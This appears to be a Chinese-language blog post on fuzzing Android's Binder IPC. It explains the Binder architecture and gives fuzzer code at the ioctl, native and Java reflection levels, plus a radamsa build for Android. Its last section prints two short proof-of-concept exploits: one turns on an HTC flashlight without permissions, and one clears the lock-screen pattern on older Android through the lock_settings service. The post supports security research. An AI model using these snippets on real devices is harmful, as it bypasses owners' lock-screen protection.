system 63 32 120160 35408 ffffffff afd0c738 S system_server

$ adb logcat | grep "63)"
...
D/PowerManagerService( 63): bootCompleted
I/TelephonyRegistry( 63): notifyServiceState: 0 home Android Android 310260 UMTS CSS not supp...
I/TelephonyRegistry( 63): notifyDataConnection: state=0 isDataConnectivityPossible=false reason=null
interfaceName=null networkType=3
I/SearchManagerService( 63): Building list of searchable activities
I/WifiService( 63): WifiService trying to setNumAllowed to 11 with persist set to true
I/ActivityManager( 63): Config changed: { scale=1.0 imsi=310/260 loc=en_US touch=3 keys=2/1/2 nav=3/1 ...
I/TelephonyRegistry( 63): notifyMessageWaitingChanged: false
I/TelephonyRegistry( 63): notifyCallForwardingChanged: false
I/TelephonyRegistry( 63): notifyDataConnection: state=1 isDataConnectivityPossible=true reason=simL...
I/TelephonyRegistry( 63): notifyDataConnection: state=2 isDataConnectivityPossible=true reason=simL...
D/Tethering( 63): MasterInitialState.processMessage what=3
I/ActivityManager( 63): Start proc android.process.media for broadcast
com.android.providers.downloads/.DownloadReceiver: pid=223 uid=10002 gids={1015, 2001, 3003}
I/RecoverySystem( 63): No recovery log file
W/WindowManager( 63): App freeze timeout expired.

binder

2. Binder 架构

Binder 使用 CS (Client/Server) 模型,提供服务的进程是 Server 进程,访问服务的是 Client 进程。从代码实现的角度看,Binder架构采用的是分层架构设计,
大致上可以分为 Java 层, Java IPC 层,Native IPC 层, Linux 内核层。

1

从组件的视角来看,Binder 包含了 Client、Server、ServiceManger 和 binder 驱动, ServiceManager 用于管理系统中的各种服务,见下图。

2

图中虚线的箭头为跨进程的进程间通信,必须使用 Android IPC binder 机制。

3. 为什么要 fuzz binder

把 Binder 作为一个目标的原因比较明显的,因为在 Android 的安全模型中,Binder 是一个重要的安全边界。在一个低权限
的 app 里面构造的数据,会在高权限的进程里面使用,如果发生问题,就是一个明显的权限提升漏洞。另外数据在处理的过程中,
有 flatten 和 unflatten 两个步骤,这些步骤就像我们平时说的编码和解码一样非常容易出问题。

weakness

存在一些非常经典的漏洞, 例如 CVE-2014-7911 该漏洞允许恶意应用从普通应用权限提权到system用户执行命令。

4. 实现

在每个层面都可以实现相关代码进行 Fuzz, 下面分析在每个层面的具体实现。

4.1 直接调用 ioctl

实现 Binder fuzzer 的方法有好几种,最直接的想法当然就是直接调用 ioctl 系统调用。

ioctl

其中 fd 可以通过打开 /dev/binder 设备文件获得,难点在 binder_write_read 数据结构的构造。

1
int fd = open("/dev/binder", O_RDWR);

4.2 Native 层

在 Native 层,利用 IBinder 可以将问题简化, 看上面的结构图,通过阅读 Android 源码, 可以看出我们可以利用 IBinder
的 transcat 来调用相应的Binder 接口函数,参考:

https://android.googlesource.com/platform/frameworks/native/+/master/cmds/service/service.cpp

调用 IBinder 的 transact 需要自己填充 parcel 数据, 可以从下面的示意理解大致的含义:

5

code 为 Binder 调用接口的功能号, parcel 中需要指定调用那个接口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
String16 get_interface_name(sp<IBinder> service)
{
if (service != NULL) {
Parcel data, reply;
status_t err = service->transact(IBinder::INTERFACE_TRANSACTION, data, &reply);
if (err == NO_ERROR) {
return reply.readString16();
}
}
return String16();
}

int main(int argc, char** argv).
{
sp<IServiceManager> sm = defaultServiceManager();
Vector<String16> services = sm->listServices();

for (uint32_t i = 0; i < services.size(); i++) {
String16 name = services[i];
sp<IBinder> service = sm->checkService(name);
String16 ifName = get_interface_name(service);
if (service != NULL && ifName.size() > 0) {

for (uint32_t code = 0; code <= 100; code++) {
aout << "ifName: " << ifName << ", code: " << code << endl;

Parcel data, reply;
data.writeInterfaceToken(ifName);
for (uint32_t i = 0; i < random() % 800; i++ ) {
uint32_t a = random();
aout << "data[" << i << "]: " << a << endl;
data.writeInt32(a);
}
service->transact(code, data, &reply, 1);
}
}
}
return 0;
}

4.3 Java 应用层

到了 Java 应用层,我们可以获得的信息就丰富了,可以获得详细的信息。

1) 获取所有运行的services

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public String[] getServices() {
String[] services = null;
try {
services = (String[]) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("listServices").invoke(null);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return services;
}

2) 获得对应服务的IBinder 对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

3) 利用反射获取对应接口的所有code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public HashMap<String,Integer> getBinderCode(String interfaceDescriptor) {
HashMap<String, Integer> codes = new HashMap<>();

if (interfaceDescriptor == null)
return codes;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub");
Field[] f = cStub.getDeclaredFields();
for (Field field : f) {
field.setAccessible(true);
String k= field.toString().split("\\$Stub\\.")[1];
if (k.contains("TRANSACTION"))
codes.put(k, (int)field.get(this));
}
} catch (Exception e) {
}

return codes;
}

4) 利用反射获取对应接口所有调用的参数类型

binder call 的参数类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public HashMap<String, List<String>>
getBinderCallParameter(String interfaceDescriptor,
HashMap<String, Integer> codes) {
HashMap<String, List<String>> ret = new HashMap();

if (interfaceDescriptor == null)
return ret;

try {
Class<?> cStub = Class
.forName(interfaceDescriptor + "$Stub$Proxy");
Method[] m = cStub.getDeclaredMethods();

for (Method method : m) {
int func_code = 0;
List<String> func_parameter = new ArrayList<>();

method.setAccessible(true);
String func_name = method.toString().split("\\$Stub\\$Proxy\\.")[1];
func_parameter.add(func_name);

for (String key : codes.keySet()) {
if (func_name.contains(key.substring("TRANSACTION_".length())))
func_code = codes.get(key);
}

if (func_code == 0)
continue;

Class<?>[] ParameterTypes = method.getParameterTypes();
for (int k=0; k < ParameterTypes.length; k++) {
func_parameter.add(ParameterTypes[k].toString());
}

ret.put(Integer.toString(func_code), func_parameter);
}
} catch (Exception e) {
}

return ret;
}

5)Binder 调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}
public void fuzz (int code, String Service) {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();

IBinder serviceBinder = BinderInfo.getIBinder(service);
serviceBinder.transact(code, data, reply, 0);
}

上面的几个步骤已经全部java 代码实现,可行。

5. 实现方法的分析于比较

ioctl 的方法过于底层,需要实现的代码很多,而 java 应用层的代码由于权限原因,经常会遇到没有权限的情况。
所以使用 Native 层的方法是合适的,在Root 的Android 机器上运行代码,可以解决权限问题。而 Java 应用层的
代码利用反射可以获取到每个接口的详细信息,根据获取到的信息指导 Native 层 fuzz 程序的后续变异,应该是比较理想的方法。

6. Fuzz 数据的生成

可以考虑移植 radasma 到 Android 平台

1
2
3
4
5
6
7
8
9
10
11
$ git clone https://github.com/anestisb/radamsa-android.git
$ cd radamsa-android
$ export PATH=$PATH:NDK_PATH
$ ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./jni/Android.mk \
APP_PLATFORM=android-24 APP_ABI=armeabi-v7a \
NDK_TOOLCHAIN=arm-linux-androideabi-4.9


[armeabi-v7a] Compile thumb : radamsa <= radamsa.c
[armeabi-v7a] Executable : radamsa
[armeabi-v7a] Install : radamsa => libs/armeabi-v7a/radamsa

6.1 更新 radamsa-android

github 上移植的radamsa 已经比较古老 (0.4), 可以直接将最新版(0.6a)的radamsa 移植
到 Android上。方法比较简单,在原始的 radamsa 中有一个 radamsa.c 将这个文件替换
radamsa-android/jni 目录下的 radamsa.c

然后在文件中添加下面代码, 重新编译即可:

1
2
3
4
5
6
#ifdef ANDROID
#include <arpa/inet.h>
#ifndef WIFCONTINUED
#define WIFCONTINUED(stat) 0
#endif
#endif

7. Fuzz 出来的一些漏洞

1) htc m8 零权限打开闪光灯

1
2
3
4
5
6
7
8
9
10
IBinder serviceBinder = getIBinder("media.camera");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[1024]);
serviceBinder.transact(8, data1, reply1, 0);
} catch (Exception e) {}

2) Android 6.0.1 MOB3OM 手势密码清除漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

public void attack() {
IBinder serviceBinder = getIBinder("lock_settings");

Parcel data1 = Parcel.obtain();
Parcel reply1 = Parcel.obtain();

try {
data1.writeInterfaceToken(serviceBinder.getInterfaceDescriptor());
data1.writeByteArray(new byte[255]);
serviceBinder.transact(7, data1, reply1, 0);
} catch (RemoteException e) {}
}

public IBinder getIBinder(String service) {
IBinder serviceBinder = null;
try {
serviceBinder = (IBinder) Class.forName("android.os.ServiceManager")
.getDeclaredMethod("getService", String.class).invoke(null, service);
} catch (ClassCastException e) {
} catch (ClassNotFoundException e) {
} catch (NoSuchMethodException e) {
} catch (InvocationTargetException e) {
} catch (IllegalAccessException e) {
}

return serviceBinder;
}

在Android 6.0.1 MOB3OM 之前的一些版本中, 未在setLockPattern 中做权限检查,
导致apk 不需要任何权限就可以将手势密码清除.

这个问题已经修复 author Jim Miller jaggies@google.com Wed Apr 13 16:35:36 2016 -0700

https://android.googlesource.com/platform/frameworks/base/+/b5383455b6cae093e60684b4f5cccb0cc440330d%5E%21/#F0

但是考虑到Android 的碎片化问题, 估计在一些手机中将存在这个问题.

参考资料